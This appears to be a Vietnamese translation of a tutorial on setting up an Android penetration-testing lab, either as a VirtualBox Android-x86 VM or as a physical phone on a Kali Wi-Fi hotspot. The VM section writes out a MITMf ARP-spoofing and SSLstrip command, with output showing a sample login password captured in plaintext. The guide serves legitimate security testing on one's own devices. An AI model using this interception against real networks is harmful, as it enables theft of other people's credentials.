Là thợ săn tiền thưởng và kiểm tra thâm nhập Android , chúng tôi cần một môi trường được cấu hình đúng để hoạt động khi kiểm tra khai thác và tìm kiếm các lỗ hổng. Điều này có thể có nghĩa là một hệ điều hành Android ảo hoặc một mạng chuyên dụng để nắm bắt các yêu cầu và thực hiện các cuộc tấn công trung gian.
Có nhiều cách để cấu hình một phòng thí nghiệm pentesting. Môi trường ảo Android được thực hiện bởi các dự án như VirtualBox , OSBoxes và Androidx86 . Và có một vài lợi ích khi tạo một hệ điều hành Android ảo bên trong máy Kali của bạn.
Các máy ảo (VM) rất dễ sao chép và khôi phục trong trường hợp chúng tôi vô tình làm hỏng hoặc làm hỏng hệ thống Android sau khi sửa chữa. Ngoài ra, nó còn cho chúng ta khả năng tăng CPU và RAM lên cao hơn các thiết bị Android vật lý có khả năng. Ví dụ: có thể tạo HĐH Android ảo với 32 GB RAM. Mặc dù giá trị này cực kỳ cao và không thực tế, nhưng về mặt lý thuyết, nó sẽ cho phép chúng tôi giữ cho nhiều ứng dụng và dịch vụ hoạt động đồng thời.
Mặt khác, một số trình đọc có thể không có tài nguyên sẵn có (ví dụ: RAM, CPU) để chạy máy ảo Android. Một môi trường khác chúng ta có thể thiết lập yêu cầu thiết bị Android vật lý và mạng Wi-Fi chuyên dụng. Chắc chắn, chúng ta có thể chỉ cần kết nối Kali và thiết bị Android của mình với mạng Wi-Fi tại nhà, nhưng sử dụng Kali làm điểm phát sóng Wi-Fi và định tuyến tất cả dữ liệu của Android thông qua Kali cho phép chúng ta dễ dàng chặn dữ liệu truyền đến và từ vật lý thiết bị.
Có rất nhiều tiện ích khi sử dụng HĐH Android ảo hóa, nhưng nó không hoàn toàn so sánh với một chiếc điện thoại thực có khả năng cung cấp một mô phỏng trong thế giới thực về cách Android sẽ phản ứng với một khai thác hoặc hack cụ thể. Vì lý do đó, dồn nén một Android vật lý là phương pháp ưa thích của tôi. Nhưng tôi sẽ chỉ cho bạn cách nhanh chóng thiết lập cả hai và để bạn quyết định đáp ứng tốt nhất nhu cầu của bạn.
Tùy chọn 1 Môi trường Android ảo (VirtualBox Lab)
OSBoxes cung cấp các hệ điều hành Linux sẵn sàng sử dụng được cấu hình sẵn để thuận tiện cho chúng tôi. Sử dụng các máy ảo Android OSBoxes cho VirtualBox, chúng tôi có thể có một hệ thống Android ảo và chạy chỉ trong vài cú nhấp chuột.
Bước 1 Tải xuống hình ảnh Android
các trang download x86 Android (https://www.osboxes.org/android-x86/) trên trang web Oboxes’ để lấy 64-bit hình ảnh mới nhất của Android cho VirtualBox.
Tại thời điểm viết bài này, OSBoxes chỉ hỗ trợ tối đa phiên bản Android 7.1 Nougat. Android Oreo (phiên bản 8.1) sẽ sớm ra mắt. Những người đọc có hiểu biết kỹ thuật hơn về cài đặt ISO có thể truy cập trang web Android-x86 (http://www.android-x86.org/releases/releasenote-8-1-rc1)và lấy Oreo ISO không được cấu hình sẵn như hình ảnh OSBoxes.
Bước 2 Trích xuất hình ảnh đĩa VirtualBox
Khi tệp Android-x86_7.1_r1-VB-64bit.7z được nén (hoặc bất kỳ phiên bản nào bạn chọn) đã tải xuống xong, hãy trích xuất VirtualBox Disk Image (VDI) (https://en.wikipedia.org/wiki/VirtualBox#VirtualBox_Disk_Image)bằng lệnh 7z bên dưới . Giải nén tệp .7z có thể mất vài phút. Khi hoàn tất, một thư mục 64 bit / mới sẽ xuất hiện trong thư mục Tải xuống / của bạn .
7z x Android-x86_7.1_r1-VB-64bit.7z
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD Ryzen 7 1700 Eight-Core Processor (800F11),ASM,AES-NI)
Scanning the drive for archives:
1 file, 927273974 bytes (885 MiB)
Extracting archive: Android-x86_7.1_r1-VB-64bit.7z
--
Path = Android-x86_7.1_r1-VB-64bit.7z
Type = 7z
Physical Size = 927273974
Headers Size = 204
Method = LZMA2:25
Solid = -
Blocks = 1
Everything is Ok
Folders: 1
Files: 1
Size: 5433720832
Compressed: 927273974
Bước 3 Định cấu hình Cài đặt máy ảo Android
Mở VirtualBox trên hệ thống Kali của bạn và tạo một máy ảo mới bằng nút “Mới”. Nếu bạn chưa có VirtualBox, bạn có thể tải xuống miễn phí từ trang web của nó (https://www.virtualbox.org/wiki/Downloads) . Trên trang đầu tiên, đặt tên là “Android” và chọn “Linux” làm Loại và Linux 2.6 64 bit cho Phiên bản . Nhấp vào “Tiếp theo” để tiếp tục.
Đặt bộ nhớ (RAM) thành giá trị tối thiểu 1.024 MB. Nhấp vào “Tiếp theo” để tiếp tục.
Chọn tùy chọn “Sử dụng tệp đĩa cứng ảo hiện có” trên cài đặt Đĩa cứng , sau đó chọn VDI Android trong thư mục 64 bit / chúng tôi đã trích xuất trước đó. Nhấp vào “Tạo” để tiếp tục.
Sau đó, với máy ảo Android mới được chọn từ danh sách các máy trong VirtualBox, nhấp vào “Cài đặt”, sau đó chọn tab “Hệ thống” và điều chỉnh Thứ tự khởi động để “Đĩa cứng” là tùy chọn đầu tiên và Thiết bị trỏ được cấu hình thành “Chuột PS / 2.”
Trong tab cài đặt “Mạng”, định cấu hình “Bộ điều hợp 1” làm “Bộ điều hợp cầu nối” và đặt Loại bộ điều hợp trong menu “Nâng cao” thành “PCnet-FAST III.” Điều này sẽ cho phép máy ảo Android kết nối với bộ định tuyến Wi-Fi của bạn và có được địa chỉ IP của chính nó.
Khi hoàn tất, nhấp vào “OK” và khởi động máy ảo Android. Sau khoảng 60 giây, hệ điều hành sẽ khởi động và chúng tôi sẽ có quyền truy cập vào hệ điều hành Android ảo mới để thử nghiệm và kiểm tra.
Ở chế độ bắc cầu, các thiết bị khác trên mạng Wi-Fi sẽ có thể ping và tương tác với HĐH Android. Chúng ta có thể thực hiện các cuộc tấn công trung gian chống lại HĐH như thể đó là một thiết bị vật lý trên mạng Wi-Fi. Dưới đây là một ví dụ về cuộc tấn công giữa chừng được thực hiện bằng MITMf .
python mitmf.py -i wlan0 --arp --spoof --gateway 192.168.0.1 --target 192.168.0.4
███╗ ███╗██╗████████╗███╗ ███╗███████╗
████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝
██╔████╔██║██║ ██║ ██╔████╔██║█████╗
██║╚██╔╝██║██║ ██║ ██║╚██╔╝██║██╔══╝
██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝
[*] MITMf v0.9.8 - 'The Dark Side'
|
|_ Net-Creds v1.0 online
|_ Spoof v0.6
| |_ ARP spoofing enabled
|_ Sergio-Proxy v0.2.1 online
|_ SSLstrip v0.9 by Moxie Marlinspike online
|
|_ MITMf-API online
* Serving Flask app "core.mitmfapi" (lazy loading)
|_ HTTP server online
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://127.0.0.1:9999/ (Press CTRL+C to quit)
|_ DNSChef v0.4 online
|_ SMB server online
2018-07-23 18:26:22 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
2018-07-23 18:26:22 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
2018-07-23 18:26:23 192.168.0.4 [type:Chrome-50 os:Android] fonts.googleapis.com
2018-07-23 18:26:24 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
2018-07-23 18:26:25 192.168.0.4 [type:Chrome-50 os:Android] Zapped a strict-transport-security header
2018-07-23 18:26:26 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
2018-07-23 18:26:26 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
2018-07-23 18:26:27 192.168.0.4 [type:Chrome-50 os:Android] fonts.gstatic.com
2018-07-23 18:26:28 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
2018-07-23 18:26:48 192.168.0.4 [type:Chrome-50 os:Android] POST Data (login.website.com):
utf8=%E2%9C%93&authenticity_token=j7bVyOKFLu%2BausgDzlIr0Z9H0Mmh%2FoWSBZh9OyyCqvKNdPFtPL47fqRECBwN97gJmlYt4AgvI6e%2FyDmcAvNeog%3D%3D&user%5Bemail%5D=distortion%40nullbyte.com&user%5Bpassword%5D=secure_password_999&commit=&user%5Bremember_me%5D=0
2018-07-23 18:26:49 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
Chúng ta có thể thấy thiết bị Android ( 192.168.0.4 ), sử dụng Chrome phiên bản 50, đã gửi yêu cầu POST chứa địa chỉ email và mật khẩu bằng văn bản thuần túy.
Tùy chọn 2 Điểmtruy cập và phần cứng Wi-Fi chuyên dụng
Phương pháp này yêu cầu thiết bị Android chuyên dụng (vật lý) để dồn nén và bộ điều hợp Wi-Fi bên ngoài để tạo điểm phát sóng. Ý tưởng là, Kali sẽ tạo ra một điểm truy cập Wi-Fi hiệu quả mà thiết bị Android kết nối với. Tất cả các dữ liệu đi qua và từ Android sẽ được quan sát rất dễ dàng mà không cần bất kỳ cuộc tấn công trung gian nào. Điều này thuận tiện cho những người săn tiền thưởng lỗi bằng cách sử dụng các công cụ như Burp Suite hoặc Wireshark để kiểm tra các gói ở mức rất chi tiết.
Nếu bạn không có điện thoại Android mà bạn có thể sử dụng làm thiết bị pentesting, Amazon có rất nhiều tùy chọn giá rẻ có sẵn cho điện thoại thử nghiệm, điều này sẽ trở thành tài sản quý giá trong bộ công cụ pentesting của bạn.
Bước 1 Tạo Điểm phát sóng Wi-Fi mới
Để bắt đầu, kích hoạt Kali và kết nối bộ điều hợp mạng không dây tương thích Kali bên ngoài với hệ thống. Mở menu “Kết nối mạng”, nhấp vào biểu tượng “+” để thêm kết nối “Wi-Fi”, sau đó chọn “Tạo”.
Cài đặt kết nối mạng thay đổi một chút giữa các phiên bản khác nhau của Kali. Tôi đang sử dụng phiên bản XFCE4 nhưng tất cả các phiên bản đều có trình quản lý mạng có khả năng tạo các điểm truy cập Wi-Fi bằng các bước rất giống nhau.
Bước 2 Định cấu hình Hotspot & Mật khẩu
Một cửa sổ Chỉnh sửa mới sẽ bật lên. Các trường bắt buộc là SSID , Chế độ và Thiết bị . Đảm bảo sử dụng chế độ “Điểm phát sóng” và chọn thiết bị (rất có thể là wlan0 ) của bộ điều hợp Wi-Fi. Nếu bạn không biết tên của bộ điều hợp mạng, bạn có thể sử dụng ifconfig để tìm ra nó. Tên mạng Wi-Fi (SSID) có thể là bất cứ điều gì bạn muốn; Tôi đang sử dụng “Null Byte” cho cuộc biểu tình này.
Tiếp theo, nhấp vào tab “Bảo mật Wi-Fi” và nhập mật khẩu mạnh .
Nhấp vào “Lưu” khi hoàn tất và Kali sẽ tự động tạo điểm phát sóng Wi-Fi “Null Byte”. Điều này có thể được xác minh bằng cách sử dụng ifconfig trong một thiết bị đầu cuối.
ifconfig wlan0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.42.0.1 netmask 255.255.255.0 broadcast 10.42.0.255
inet6 fe80::ea9b:cff:fee3:bb6a prefixlen 64 scopeid 0x20<link>
ether 42:e6:0f:b2:1c:e2 txqueuelen 1000 (Ethernet)
RX packets 78176 bytes 4968034 (4.7 MiB)
RX errors 0 dropped 4 overruns 0 frame 0
TX packets 137808 bytes 191871580 (182.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Lưu ý địa chỉ inet 10.42.0.1 . Đây là lược đồ địa chỉ nội bộ mới được sử dụng bởi các thiết bị kết nối với mạng Wi-Fi “Null Byte” của bạn. Khi kết nối Android với mạng, nó sẽ tự động lấy địa chỉ 10.42.0.2 .
Tại thời điểm này, chúng ta có thể mở Wireshark và bắt đầu thu thập dữ liệu trên giao diện wlan0 để quan sát các gói đi và đến từ Android. Có kết nối trực tiếp giữa Android và Kali để mạng “Null Byte” của bạn sẽ không bị lấp đầy lưu lượng truy cập mạng từ các thiết bị khác trên mạng bên ngoài ( 192.168.0.1 ) của bạn. Các công cụ pentesting khác như Burp Suite có thể được cấu hình với Android để chặn và sửa đổi mọi yêu cầu.
Hãy bắt đầu thử nghiệm thâm nhập
Có lợi ích cho cả hai phương pháp. Nếu bạn có thể đủ RAM và CPU, môi trường Android ảo có thể là lựa chọn tốt nhất cho bạn. Nếu tài nguyên phần cứng bị hạn chế và bạn có một thiết bị Android dự phòng để dồn nén, tùy chọn hai cũng có thể là phương pháp ưa thích của bạn. Dù bằng cách nào, bạn được khuyến khích thử cả hai phương pháp và tìm hiểu những gì phù hợp với bạn nhất.